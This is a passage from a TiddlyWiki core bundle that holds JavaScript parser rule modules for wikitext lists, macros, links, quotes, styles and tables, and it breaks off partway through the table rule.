"text": "/*\\\ntitle: $:/core/modules/parsers/wikiparser/rules/import.js\ntype: application/javascript\nmodule-type: wikirule\n\nWiki pragma rule for importing variable definitions\n\n```\n\\import [[$:/core/ui/PageMacros]] [all[shadows+tiddlers]tag[$:/tags/Macro]!has[draft.of]]\n```\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.name = \"import\";\nexports.types = {pragma: true};\n\n/*\nInstantiate parse rule\n*/\nexports.init = function(parser) {\n\tthis.parser = parser;\n\t// Regexp to match\n\tthis.matchRegExp = /^\\\\import[^\\S\\n]/mg;\n};\n\n/*\nParse the most recent match\n*/\nexports.parse = function() {\n\tvar self = this;\n\t// Move past the pragma invocation\n\tthis.parser.pos = this.matchRegExp.lastIndex;\n\t// Parse the filter terminated by a line break\n\tvar reMatch = /(.*)(\\r?\\n)|$/mg;\n\treMatch.lastIndex = this.parser.pos;\n\tvar match = reMatch.exec(this.parser.source);\n\tthis.parser.pos = reMatch.lastIndex;\n\t// Parse tree nodes to return\n\treturn [{\n\t\ttype: \"importvariables\",\n\t\tattributes: {\n\t\t\tfilter: {type: \"string\", value: match[1]}\n\t\t},\n\t\tchildren: []\n\t}];\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "wikirule"
},
"$:/core/modules/parsers/wikiparser/rules/list.js": {
"title": "$:/core/modules/parsers/wikiparser/rules/list.js",
"text": "/*\\\ntitle: $:/core/modules/parsers/wikiparser/rules/list.js\ntype: application/javascript\nmodule-type: wikirule\n\nWiki text block rule for lists. For example:\n\n```\n* This is an unordered list\n* It has two items\n\n# This is a numbered list\n## With a subitem\n# And a third item\n\n; This is a term that is being defined\n: This is the definition of that term\n```\n\nNote that lists can be nested arbitrarily:\n\n```\n#** One\n#* Two\n#** Three\n#**** Four\n#**# Five\n#**## Six\n## Seven\n### Eight\n## Nine\n```\n\nA CSS class can be applied to a list item as follows:\n\n```\n* List item one\n*.active List item two has the class `active`\n* List item three\n```\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.name = \"list\";\nexports.types = {block: true};\n\nexports.init = function(parser) {\n\tthis.parser = parser;\n\t// Regexp to match\n\tthis.matchRegExp = /([\\*#;:>]+)/mg;\n};\n\nvar listTypes = {\n\t\"*\": {listTag: \"ul\", itemTag: \"li\"},\n\t\"#\": {listTag: \"ol\", itemTag: \"li\"},\n\t\";\": {listTag: \"dl\", itemTag: \"dt\"},\n\t\":\": {listTag: \"dl\", itemTag: \"dd\"},\n\t\">\": {listTag: \"blockquote\", itemTag: \"div\"}\n};\n\n/*\nParse the most recent match\n*/\nexports.parse = function() {\n\t// Array of parse tree nodes for the previous row of the list\n\tvar listStack = [];\n\t// Cycle through the items in the list\n\twhile(true) {\n\t\t// Match the list marker\n\t\tvar reMatch = /([\\*#;:>]+)/mg;\n\t\treMatch.lastIndex = this.parser.pos;\n\t\tvar match = reMatch.exec(this.parser.source);\n\t\tif(!match || match.index !== this.parser.pos) {\n\t\t\tbreak;\n\t\t}\n\t\t// Check whether the list type of the top level matches\n\t\tvar listInfo = listTypes[match[0].charAt(0)];\n\t\tif(listStack.length > 0 && listStack[0].tag !== listInfo.listTag) {\n\t\t\tbreak;\n\t\t}\n\t\t// Move past the list marker\n\t\tthis.parser.pos = match.index + match[0].length;\n\t\t// Walk through the list markers for the current row\n\t\tfor(var t=0; t<match[0].length; t++) {\n\t\t\tlistInfo = listTypes[match[0].charAt(t)];\n\t\t\t// Remove any stacked up element if we can't re-use it because the list type doesn't match\n\t\t\tif(listStack.length > t && listStack[t].tag !== listInfo.listTag) {\n\t\t\t\tlistStack.splice(t,listStack.length - t);\n\t\t\t}\n\t\t\t// Construct the list element or reuse the previous one at this level\n\t\t\tif(listStack.length <= t) {\n\t\t\t\tvar listElement = {type: \"element\", tag: listInfo.listTag, children: [\n\t\t\t\t\t{type: \"element\", tag: listInfo.itemTag, children: []}\n\t\t\t\t]};\n\t\t\t\t// Link this list element into the last child item of the parent list item\n\t\t\t\tif(t) {\n\t\t\t\t\tvar prevListItem = listStack[t-1].children[listStack[t-1].children.length-1];\n\t\t\t\t\tprevListItem.children.push(listElement);\n\t\t\t\t}\n\t\t\t\t// Save this element in the stack\n\t\t\t\tlistStack[t] = listElement;\n\t\t\t} else if(t === (match[0].length - 1)) {\n\t\t\t\tlistStack[t].children.push({type: \"element\", tag: listInfo.itemTag, children: []});\n\t\t\t}\n\t\t}\n\t\tif(listStack.length > match[0].length) {\n\t\t\tlistStack.splice(match[0].length,listStack.length - match[0].length);\n\t\t}\n\t\t// Process the body of the list item into the last list item\n\t\tvar lastListChildren = listStack[listStack.length-1].children,\n\t\t\tlastListItem = lastListChildren[lastListChildren.length-1],\n\t\t\tclasses = this.parser.parseClasses();\n\t\tthis.parser.skipWhitespace({treatNewlinesAsNonWhitespace: true});\n\t\tvar tree = this.parser.parseInlineRun(/(\\r?\\n)/mg);\n\t\tlastListItem.children.push.apply(lastListItem.children,tree);\n\t\tif(classes.length > 0) {\n\t\t\t$tw.utils.addClassToParseTreeNode(lastListItem,classes.join(\" \"));\n\t\t}\n\t\t// Consume any whitespace following the list item\n\t\tthis.parser.skipWhitespace();\n\t}\n\t// Return the root element of the list\n\treturn [listStack[0]];\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "wikirule"
},
"$:/core/modules/parsers/wikiparser/rules/macrocallblock.js": {
"title": "$:/core/modules/parsers/wikiparser/rules/macrocallblock.js",
"text": "/*\\\ntitle: $:/core/modules/parsers/wikiparser/rules/macrocallblock.js\ntype: application/javascript\nmodule-type: wikirule\n\nWiki rule for block macro calls\n\n```\n<<name value value2>>\n```\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.name = \"macrocallblock\";\nexports.types = {block: true};\n\nexports.init = function(parser) {\n\tthis.parser = parser;\n\t// Regexp to match\n\tthis.matchRegExp = /<<([^>\\s]+)(?:\\s*)((?:[^>]|(?:>(?!>)))*?)>>(?:\\r?\\n|$)/mg;\n};\n\n/*\nParse the most recent match\n*/\nexports.parse = function() {\n\t// Get all the details of the match\n\tvar macroName = this.match[1],\n\t\tparamString = this.match[2];\n\t// Move past the macro call\n\tthis.parser.pos = this.matchRegExp.lastIndex;\n\tvar params = [],\n\t\treParam = /\\s*(?:([A-Za-z0-9\\-_]+)\\s*:)?(?:\\s*(?:\"\"\"([\\s\\S]*?)\"\"\"|\"([^\"]*)\"|'([^']*)'|\\[\\[([^\\]]*)\\]\\]|([^\"'\\s]+)))/mg,\n\t\tparamMatch = reParam.exec(paramString);\n\twhile(paramMatch) {\n\t\t// Process this parameter\n\t\tvar paramInfo = {\n\t\t\tvalue: paramMatch[2] || paramMatch[3] || paramMatch[4] || paramMatch[5] || paramMatch[6]\n\t\t};\n\t\tif(paramMatch[1]) {\n\t\t\tparamInfo.name = paramMatch[1];\n\t\t}\n\t\tparams.push(paramInfo);\n\t\t// Find the next match\n\t\tparamMatch = reParam.exec(paramString);\n\t}\n\treturn [{\n\t\ttype: \"macrocall\",\n\t\tname: macroName,\n\t\tparams: params,\n\t\tisBlock: true\n\t}];\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "wikirule"
},
"$:/core/modules/parsers/wikiparser/rules/macrocallinline.js": {
"title": "$:/core/modules/parsers/wikiparser/rules/macrocallinline.js",
"text": "/*\\\ntitle: $:/core/modules/parsers/wikiparser/rules/macrocallinline.js\ntype: application/javascript\nmodule-type: wikirule\n\nWiki rule for macro calls\n\n```\n<<name value value2>>\n```\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.name = \"macrocallinline\";\nexports.types = {inline: true};\n\nexports.init = function(parser) {\n\tthis.parser = parser;\n\t// Regexp to match\n\tthis.matchRegExp = /<<([^\\s>]+)\\s*([\\s\\S]*?)>>/mg;\n};\n\n/*\nParse the most recent match\n*/\nexports.parse = function() {\n\t// Get all the details of the match\n\tvar macroName = this.match[1],\n\t\tparamString = this.match[2];\n\t// Move past the macro call\n\tthis.parser.pos = this.matchRegExp.lastIndex;\n\tvar params = [],\n\t\treParam = /\\s*(?:([A-Za-z0-9\\-_]+)\\s*:)?(?:\\s*(?:\"\"\"([\\s\\S]*?)\"\"\"|\"([^\"]*)\"|'([^']*)'|\\[\\[([^\\]]*)\\]\\]|([^\"'\\s]+)))/mg,\n\t\tparamMatch = reParam.exec(paramString);\n\twhile(paramMatch) {\n\t\t// Process this parameter\n\t\tvar paramInfo = {\n\t\t\tvalue: paramMatch[2] || paramMatch[3] || paramMatch[4] || paramMatch[5]|| paramMatch[6]\n\t\t};\n\t\tif(paramMatch[1]) {\n\t\t\tparamInfo.name = paramMatch[1];\n\t\t}\n\t\tparams.push(paramInfo);\n\t\t// Find the next match\n\t\tparamMatch = reParam.exec(paramString);\n\t}\n\treturn [{\n\t\ttype: \"macrocall\",\n\t\tname: macroName,\n\t\tparams: params\n\t}];\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "wikirule"
},
"$:/core/modules/parsers/wikiparser/rules/macrodef.js": {
"title": "$:/core/modules/parsers/wikiparser/rules/macrodef.js",
"text": "/*\\\ntitle: $:/core/modules/parsers/wikiparser/rules/macrodef.js\ntype: application/javascript\nmodule-type: wikirule\n\nWiki pragma rule for macro definitions\n\n```\n\\define name(param:defaultvalue,param2:defaultvalue)\ndefinition text, including $param$ markers\n\\end\n```\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.name = \"macrodef\";\nexports.types = {pragma: true};\n\n/*\nInstantiate parse rule\n*/\nexports.init = function(parser) {\n\tthis.parser = parser;\n\t// Regexp to match\n\tthis.matchRegExp = /^\\\\define\\s+([^(\\s]+)\\(\\s*([^)]*)\\)(\\s*\\r?\\n)?/mg;\n};\n\n/*\nParse the most recent match\n*/\nexports.parse = function() {\n\t// Move past the macro name and parameters\n\tthis.parser.pos = this.matchRegExp.lastIndex;\n\t// Parse the parameters\n\tvar paramString = this.match[2],\n\t\tparams = [];\n\tif(paramString !== \"\") {\n\t\tvar reParam = /\\s*([A-Za-z0-9\\-_]+)(?:\\s*:\\s*(?:\"\"\"([\\s\\S]*?)\"\"\"|\"([^\"]*)\"|'([^']*)'|\\[\\[([^\\]]*)\\]\\]|([^\"'\\s]+)))?/mg,\n\t\t\tparamMatch = reParam.exec(paramString);\n\t\twhile(paramMatch) {\n\t\t\t// Save the parameter details\n\t\t\tvar paramInfo = {name: paramMatch[1]},\n\t\t\t\tdefaultValue = paramMatch[2] || paramMatch[3] || paramMatch[4] || paramMatch[5] || paramMatch[6];\n\t\t\tif(defaultValue) {\n\t\t\t\tparamInfo[\"default\"] = defaultValue;\n\t\t\t}\n\t\t\tparams.push(paramInfo);\n\t\t\t// Look for the next parameter\n\t\t\tparamMatch = reParam.exec(paramString);\n\t\t}\n\t}\n\t// Is this a multiline definition?\n\tvar reEnd;\n\tif(this.match[3]) {\n\t\t// If so, the end of the body is marked with \\end\n\t\treEnd = /(\\r?\\n\\\\end[^\\S\\n\\r]*(?:$|\\r?\\n))/mg;\n\t} else {\n\t\t// Otherwise, the end of the definition is marked by the end of the line\n\t\treEnd = /($|\\r?\\n)/mg;\n\t\t// Move past any whitespace\n\t\tthis.parser.pos = $tw.utils.skipWhiteSpace(this.parser.source,this.parser.pos);\n\t}\n\t// Find the end of the definition\n\treEnd.lastIndex = this.parser.pos;\n\tvar text,\n\t\tendMatch = reEnd.exec(this.parser.source);\n\tif(endMatch) {\n\t\ttext = this.parser.source.substring(this.parser.pos,endMatch.index);\n\t\tthis.parser.pos = endMatch.index + endMatch[0].length;\n\t} else {\n\t\t// We didn't find the end of the definition, so we'll make it blank\n\t\ttext = \"\";\n\t}\n\t// Save the macro definition\n\treturn [{\n\t\ttype: \"set\",\n\t\tattributes: {\n\t\t\tname: {type: \"string\", value: this.match[1]},\n\t\t\tvalue: {type: \"string\", value: text}\n\t\t},\n\t\tchildren: [],\n\t\tparams: params,\n\t\tisMacroDefinition: true\n\t}];\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "wikirule"
},
"$:/core/modules/parsers/wikiparser/rules/prettyextlink.js": {
"title": "$:/core/modules/parsers/wikiparser/rules/prettyextlink.js",
"text": "/*\\\ntitle: $:/core/modules/parsers/wikiparser/rules/prettyextlink.js\ntype: application/javascript\nmodule-type: wikirule\n\nWiki text inline rule for external links. For example:\n\n```\n[ext[https://tiddlywiki.com/fractalveg.jpg]]\n[ext[Tooltip|https://tiddlywiki.com/fractalveg.jpg]]\n```\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.name = \"prettyextlink\";\nexports.types = {inline: true};\n\nexports.init = function(parser) {\n\tthis.parser = parser;\n};\n\nexports.findNextMatch = function(startPos) {\n\t// Find the next tag\n\tthis.nextLink = this.findNextLink(this.parser.source,startPos);\n\treturn this.nextLink ? this.nextLink.start : undefined;\n};\n\nexports.parse = function() {\n\t// Move past the match\n\tthis.parser.pos = this.nextLink.end;\n\treturn [this.nextLink];\n};\n\n/*\nFind the next link from the current position\n*/\nexports.findNextLink = function(source,pos) {\n\t// A regexp for finding candidate links\n\tvar reLookahead = /(\\[ext\\[)/g;\n\t// Find the next candidate\n\treLookahead.lastIndex = pos;\n\tvar match = reLookahead.exec(source);\n\twhile(match) {\n\t\t// Try to parse the candidate as a link\n\t\tvar link = this.parseLink(source,match.index);\n\t\t// Return success\n\t\tif(link) {\n\t\t\treturn link;\n\t\t}\n\t\t// Look for the next match\n\t\treLookahead.lastIndex = match.index + 1;\n\t\tmatch = reLookahead.exec(source);\n\t}\n\t// Failed\n\treturn null;\n};\n\n/*\nLook for an link at the specified position. Returns null if not found, otherwise returns {type: \"element\", tag: \"a\", attributes: [], isSelfClosing:, start:, end:,}\n*/\nexports.parseLink = function(source,pos) {\n\tvar token,\n\t\ttextNode = {\n\t\t\ttype: \"text\"\n\t\t},\n\t\tnode = {\n\t\t\ttype: \"element\",\n\t\t\ttag: \"a\",\n\t\t\tstart: pos,\n\t\t\tattributes: {\n\t\t\t\t\"class\": {type: \"string\", value: \"tc-tiddlylink-external\"},\n\t\t\t},\n\t\t\tchildren: [textNode]\n\t\t};\n\t// Skip whitespace\n\tpos = $tw.utils.skipWhiteSpace(source,pos);\n\t// Look for the `[ext[`\n\ttoken = $tw.utils.parseTokenString(source,pos,\"[ext[\");\n\tif(!token) {\n\t\treturn null;\n\t}\n\tpos = token.end;\n\t// Look ahead for the terminating `]]`\n\tvar closePos = source.indexOf(\"]]\",pos);\n\tif(closePos === -1) {\n\t\treturn null;\n\t}\n\t// Look for a `|` separating the tooltip\n\tvar splitPos = source.indexOf(\"|\",pos);\n\tif(splitPos === -1 || splitPos > closePos) {\n\t\tsplitPos = null;\n\t}\n\t// Pull out the tooltip and URL\n\tvar tooltip, URL;\n\tif(splitPos) {\n\t\tURL = source.substring(splitPos + 1,closePos).trim();\n\t\ttextNode.text = source.substring(pos,splitPos).trim();\n\t} else {\n\t\tURL = source.substring(pos,closePos).trim();\n\t\ttextNode.text = URL;\n\t}\n\tnode.attributes.href = {type: \"string\", value: URL};\n\tnode.attributes.target = {type: \"string\", value: \"_blank\"};\n\tnode.attributes.rel = {type: \"string\", value: \"noopener noreferrer\"};\n\t// Update the end position\n\tnode.end = closePos + 2;\n\treturn node;\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "wikirule"
},
"$:/core/modules/parsers/wikiparser/rules/prettylink.js": {
"title": "$:/core/modules/parsers/wikiparser/rules/prettylink.js",
"text": "/*\\\ntitle: $:/core/modules/parsers/wikiparser/rules/prettylink.js\ntype: application/javascript\nmodule-type: wikirule\n\nWiki text inline rule for pretty links. For example:\n\n```\n[[Introduction]]\n\n[[Link description|TiddlerTitle]]\n```\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.name = \"prettylink\";\nexports.types = {inline: true};\n\nexports.init = function(parser) {\n\tthis.parser = parser;\n\t// Regexp to match\n\tthis.matchRegExp = /\\[\\[(.*?)(?:\\|(.*?))?\\]\\]/mg;\n};\n\nexports.parse = function() {\n\t// Move past the match\n\tthis.parser.pos = this.matchRegExp.lastIndex;\n\t// Process the link\n\tvar text = this.match[1],\n\t\tlink = this.match[2] || text;\n\tif($tw.utils.isLinkExternal(link)) {\n\t\treturn [{\n\t\t\ttype: \"element\",\n\t\t\ttag: \"a\",\n\t\t\tattributes: {\n\t\t\t\thref: {type: \"string\", value: link},\n\t\t\t\t\"class\": {type: \"string\", value: \"tc-tiddlylink-external\"},\n\t\t\t\ttarget: {type: \"string\", value: \"_blank\"},\n\t\t\t\trel: {type: \"string\", value: \"noopener noreferrer\"}\n\t\t\t},\n\t\t\tchildren: [{\n\t\t\t\ttype: \"text\", text: text\n\t\t\t}]\n\t\t}];\n\t} else {\n\t\treturn [{\n\t\t\ttype: \"link\",\n\t\t\tattributes: {\n\t\t\t\tto: {type: \"string\", value: link}\n\t\t\t},\n\t\t\tchildren: [{\n\t\t\t\ttype: \"text\", text: text\n\t\t\t}]\n\t\t}];\n\t}\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "wikirule"
},
"$:/core/modules/parsers/wikiparser/rules/quoteblock.js": {
"title": "$:/core/modules/parsers/wikiparser/rules/quoteblock.js",
"text": "/*\\\ntitle: $:/core/modules/parsers/wikiparser/rules/quoteblock.js\ntype: application/javascript\nmodule-type: wikirule\n\nWiki text rule for quote blocks. For example:\n\n```\n\t<<<.optionalClass(es) optional cited from\n\ta quote\n\t<<<\n\t\n\t<<<.optionalClass(es)\n\ta quote\n\t<<< optional cited from\n```\n\nQuotes can be quoted by putting more <s\n\n```\n\t<<<\n\tQuote Level 1\n\t\n\t<<<<\n\tQuoteLevel 2\n\t<<<<\n\t\n\t<<<\n```\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.name = \"quoteblock\";\nexports.types = {block: true};\n\nexports.init = function(parser) {\n\tthis.parser = parser;\n\t// Regexp to match\n\tthis.matchRegExp = /(<<<+)/mg;\n};\n\nexports.parse = function() {\n\tvar classes = [\"tc-quote\"];\n\t// Get all the details of the match\n\tvar reEndString = \"^\" + this.match[1] + \"(?!<)\";\n\t// Move past the <s\n\tthis.parser.pos = this.matchRegExp.lastIndex;\n\t\n\t// Parse any classes, whitespace and then the optional cite itself\n\tclasses.push.apply(classes, this.parser.parseClasses());\n\tthis.parser.skipWhitespace({treatNewlinesAsNonWhitespace: true});\n\tvar cite = this.parser.parseInlineRun(/(\\r?\\n)/mg);\n\t// before handling the cite, parse the body of the quote\n\tvar tree= this.parser.parseBlocks(reEndString);\n\t// If we got a cite, put it before the text\n\tif(cite.length > 0) {\n\t\ttree.unshift({\n\t\t\ttype: \"element\",\n\t\t\ttag: \"cite\",\n\t\t\tchildren: cite\n\t\t});\n\t}\n\t// Parse any optional cite\n\tthis.parser.skipWhitespace({treatNewlinesAsNonWhitespace: true});\n\tcite = this.parser.parseInlineRun(/(\\r?\\n)/mg);\n\t// If we got a cite, push it\n\tif(cite.length > 0) {\n\t\ttree.push({\n\t\t\ttype: \"element\",\n\t\t\ttag: \"cite\",\n\t\t\tchildren: cite\n\t\t});\n\t}\n\t// Return the blockquote element\n\treturn [{\n\t\ttype: \"element\",\n\t\ttag: \"blockquote\",\n\t\tattributes: {\n\t\t\tclass: { type: \"string\", value: classes.join(\" \") },\n\t\t},\n\t\tchildren: tree\n\t}];\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "wikirule"
},
"$:/core/modules/parsers/wikiparser/rules/rules.js": {
"title": "$:/core/modules/parsers/wikiparser/rules/rules.js",
"text": "/*\\\ntitle: $:/core/modules/parsers/wikiparser/rules/rules.js\ntype: application/javascript\nmodule-type: wikirule\n\nWiki pragma rule for rules specifications\n\n```\n\\rules except ruleone ruletwo rulethree\n\\rules only ruleone ruletwo rulethree\n```\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.name = \"rules\";\nexports.types = {pragma: true};\n\n/*\nInstantiate parse rule\n*/\nexports.init = function(parser) {\n\tthis.parser = parser;\n\t// Regexp to match\n\tthis.matchRegExp = /^\\\\rules[^\\S\\n]/mg;\n};\n\n/*\nParse the most recent match\n*/\nexports.parse = function() {\n\t// Move past the pragma invocation\n\tthis.parser.pos = this.matchRegExp.lastIndex;\n\t// Parse whitespace delimited tokens terminated by a line break\n\tvar reMatch = /[^\\S\\n]*(\\S+)|(\\r?\\n)/mg,\n\t\ttokens = [];\n\treMatch.lastIndex = this.parser.pos;\n\tvar match = reMatch.exec(this.parser.source);\n\twhile(match && match.index === this.parser.pos) {\n\t\tthis.parser.pos = reMatch.lastIndex;\n\t\t// Exit if we've got the line break\n\t\tif(match[2]) {\n\t\t\tbreak;\n\t\t}\n\t\t// Process the token\n\t\tif(match[1]) {\n\t\t\ttokens.push(match[1]);\n\t\t}\n\t\t// Match the next token\n\t\tmatch = reMatch.exec(this.parser.source);\n\t}\n\t// Process the tokens\n\tif(tokens.length > 0) {\n\t\tthis.parser.amendRules(tokens[0],tokens.slice(1));\n\t}\n\t// No parse tree nodes to return\n\treturn [];\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "wikirule"
},
"$:/core/modules/parsers/wikiparser/rules/styleblock.js": {
"title": "$:/core/modules/parsers/wikiparser/rules/styleblock.js",
"text": "/*\\\ntitle: $:/core/modules/parsers/wikiparser/rules/styleblock.js\ntype: application/javascript\nmodule-type: wikirule\n\nWiki text block rule for assigning styles and classes to paragraphs and other blocks. For example:\n\n```\n@@.myClass\n@@background-color:red;\nThis paragraph will have the CSS class `myClass`.\n\n* The `<ul>` around this list will also have the class `myClass`\n* List item 2\n\n@@\n```\n\nNote that classes and styles can be mixed subject to the rule that styles must precede classes. For example\n\n```\n@@.myFirstClass.mySecondClass\n@@width:100px;.myThirdClass\nThis is a paragraph\n@@\n```\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.name = \"styleblock\";\nexports.types = {block: true};\n\nexports.init = function(parser) {\n\tthis.parser = parser;\n\t// Regexp to match\n\tthis.matchRegExp = /@@((?:[^\\.\\r\\n\\s:]+:[^\\r\\n;]+;)+)?(?:\\.([^\\r\\n\\s]+))?\\r?\\n/mg;\n};\n\nexports.parse = function() {\n\tvar reEndString = \"^@@(?:\\\\r?\\\\n)?\";\n\tvar classes = [], styles = [];\n\tdo {\n\t\t// Get the class and style\n\t\tif(this.match[1]) {\n\t\t\tstyles.push(this.match[1]);\n\t\t}\n\t\tif(this.match[2]) {\n\t\t\tclasses.push(this.match[2].split(\".\").join(\" \"));\n\t\t}\n\t\t// Move past the match\n\t\tthis.parser.pos = this.matchRegExp.lastIndex;\n\t\t// Look for another line of classes and styles\n\t\tthis.match = this.matchRegExp.exec(this.parser.source);\n\t} while(this.match && this.match.index === this.parser.pos);\n\t// Parse the body\n\tvar tree = this.parser.parseBlocks(reEndString);\n\tfor(var t=0; t<tree.length; t++) {\n\t\tif(classes.length > 0) {\n\t\t\t$tw.utils.addClassToParseTreeNode(tree[t],classes.join(\" \"));\n\t\t}\n\t\tif(styles.length > 0) {\n\t\t\t$tw.utils.addAttributeToParseTreeNode(tree[t],\"style\",styles.join(\"\"));\n\t\t}\n\t}\n\treturn tree;\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "wikirule"
},
"$:/core/modules/parsers/wikiparser/rules/styleinline.js": {
"title": "$:/core/modules/parsers/wikiparser/rules/styleinline.js",
"text": "/*\\\ntitle: $:/core/modules/parsers/wikiparser/rules/styleinline.js\ntype: application/javascript\nmodule-type: wikirule\n\nWiki text inline rule for assigning styles and classes to inline runs. For example:\n\n```\n@@.myClass This is some text with a class@@\n@@background-color:red;This is some text with a background colour@@\n@@width:100px;.myClass This is some text with a class and a width@@\n```\n\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.name = \"styleinline\";\nexports.types = {inline: true};\n\nexports.init = function(parser) {\n\tthis.parser = parser;\n\t// Regexp to match\n\tthis.matchRegExp = /@@((?:[^\\.\\r\\n\\s:]+:[^\\r\\n;]+;)+)?(\\.(?:[^\\r\\n\\s]+)\\s+)?/mg;\n};\n\nexports.parse = function() {\n\tvar reEnd = /@@/g;\n\t// Get the styles and class\n\tvar stylesString = this.match[1],\n\t\tclassString = this.match[2] ? this.match[2].split(\".\").join(\" \") : undefined;\n\t// Move past the match\n\tthis.parser.pos = this.matchRegExp.lastIndex;\n\t// Parse the run up to the terminator\n\tvar tree = this.parser.parseInlineRun(reEnd,{eatTerminator: true});\n\t// Return the classed span\n\tvar node = {\n\t\ttype: \"element\",\n\t\ttag: \"span\",\n\t\tattributes: {\n\t\t\t\"class\": {type: \"string\", value: \"tc-inline-style\"}\n\t\t},\n\t\tchildren: tree\n\t};\n\tif(classString) {\n\t\t$tw.utils.addClassToParseTreeNode(node,classString);\n\t}\n\tif(stylesString) {\n\t\t$tw.utils.addAttributeToParseTreeNode(node,\"style\",stylesString);\n\t}\n\treturn [node];\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "wikirule"
},
"$:/core/modules/parsers/wikiparser/rules/syslink.js": {
"title": "$:/core/modules/parsers/wikiparser/rules/syslink.js",
"text": "/*\\\ntitle: $:/core/modules/parsers/wikiparser/rules/syslink.js\ntype: application/javascript\nmodule-type: wikirule\n\nWiki text inline rule for system tiddler links.\nCan be suppressed preceding them with `~`.\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.name = \"syslink\";\nexports.types = {inline: true};\n\nexports.init = function(parser) {\n\tthis.parser = parser;\n\t// Regexp to match\n\tthis.matchRegExp = new RegExp(\n\t\t\"~?\\\\$:\\\\/[\" +\n\t\t$tw.config.textPrimitives.anyLetter.substr(1,$tw.config.textPrimitives.anyLetter.length - 2) +\n\t\t\"\\/._-]+\",\n\t\t\"mg\"\n\t);\n};\n\nexports.parse = function() {\n\tvar match = this.match[0];\n\t// Move past the match\n\tthis.parser.pos = this.matchRegExp.lastIndex;\n\t// Create the link unless it is suppressed\n\tif(match.substr(0,1) === \"~\") {\n\t\treturn [{type: \"text\", text: match.substr(1)}];\n\t} else {\n\t\treturn [{\n\t\t\ttype: \"link\",\n\t\t\tattributes: {\n\t\t\t\tto: {type: \"string\", value: match}\n\t\t\t},\n\t\t\tchildren: [{\n\t\t\t\ttype: \"text\",\n\t\t\t\ttext: match\n\t\t\t}]\n\t\t}];\n\t}\n};\n\n})();",
"type": "application/javascript",
"module-type": "wikirule"
},
"$:/core/modules/parsers/wikiparser/rules/table.js": {
"title": "$:/core/modules/parsers/wikiparser/rules/table.js",
"text": "/*\\\ntitle: $:/core/modules/parsers/wikiparser/rules/table.js\ntype: application/javascript\nmodule-type: wikirule\n\nWiki text block rule for tables.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.name = \"table\";\nexports.types = {block: true};\n\nexports.init = function(parser) {\n\tthis.parser = parser;\n\t// Regexp to match\n\tthis.matchRegExp = /^\\|(?:[^\\n]*)\\|(?:[fhck]?)\\r?(?:\\n|$)/mg;\n};\n\nvar processRow = function(prevColumns) {\n\tvar cellRegExp = /(?:\\|([^\\n\\|]*)\\|)|(\\|[fhck]?\\r?(?:\\n|$))/mg,\n\t\tcellTermRegExp = /((?:\\x20*)\\|)/mg,\n\t\ttree = [],\n\t\tcol = 0,\n\t\tcolSpanCount = 1,\n\t\tprevCell,\n\t\tvAlign;\n\t// Match a single cell\n\tcellRegExp.lastIndex = this.parser.pos;\n\tvar cellMatch = cellRegExp.exec(this.parser.source);\n\twhile(cellMatch && cellMatch.index === this.parser.pos) {\n\t\tif(cellMatch[1] === \"~\") {\n\t\t\t// Rowspan\n\t\t\tvar last = prevColumns[col];\n\t\t\tif(last) {\n\t\t\t\tlast.rowSpanCount++;\n\t\t\t\t$tw.utils.addAttributeToParseTreeNode(last.element,\"rowspan\",last.rowSpanCount);\n\t\t\t\tvAlign = $tw.utils.getAttributeValueFromParseTreeNode(last.element,\"valign\",\"center\");\n\t\t\t\t$tw.utils.addAttributeToParseTreeNode(last.element,\"valign\",vAlign);\n\t\t\t\tif(colSpanCount > 1) {\n\t\t\t\t\t$tw.utils.addAttributeToParseTreeNode(last.element,\"colspan\",colSpanCount);\n\t\t\t\t\tcolSpanCount = 1;\n\t\t\t\t}\n\t\t\t}\n\t\t\t// Move to just before the `|` terminating the cell\n\t\t\tthis.parser.pos = cellRegExp.lastIndex - 1;\n\t\t} else if(cellMatch[1] === \">\") {\n\t\t\t// Colspan\n\t\t\tcolSpanCount++;\n\t\t\t// Move to just before the `|` terminating the cell\n\t\t\tthis.parser.pos = cellRegExp.lastIndex - 1;\n\t\t} else if(cellMatch[1] === \"<\" && prevCell) {\n\t\t\tcolSpanCount = 1 + $tw.utils.getAttributeValueFromParseTreeNode(prevCell,\"colspan\",1);\n\t\t\t$tw.utils.addAttributeToParseTreeNode(prevCell,\"colspan\",colSpanCount);\n\t\t\tcolSpanCount = 1;\n\t\t\t// Move to just before the `|` terminating the cell\n\t\t\tthis.parser.pos = cellRegExp.lastIndex - 1;\n\t\t} else if(cellMatch[2]) {\n\t\t\t// End of row\n\t\t\tif(prevCell && colSpanCount > 1) {\n\t\t\t\tif(prevCell.attributes && prevCell.attributes && prevCell.attributes.colspan) 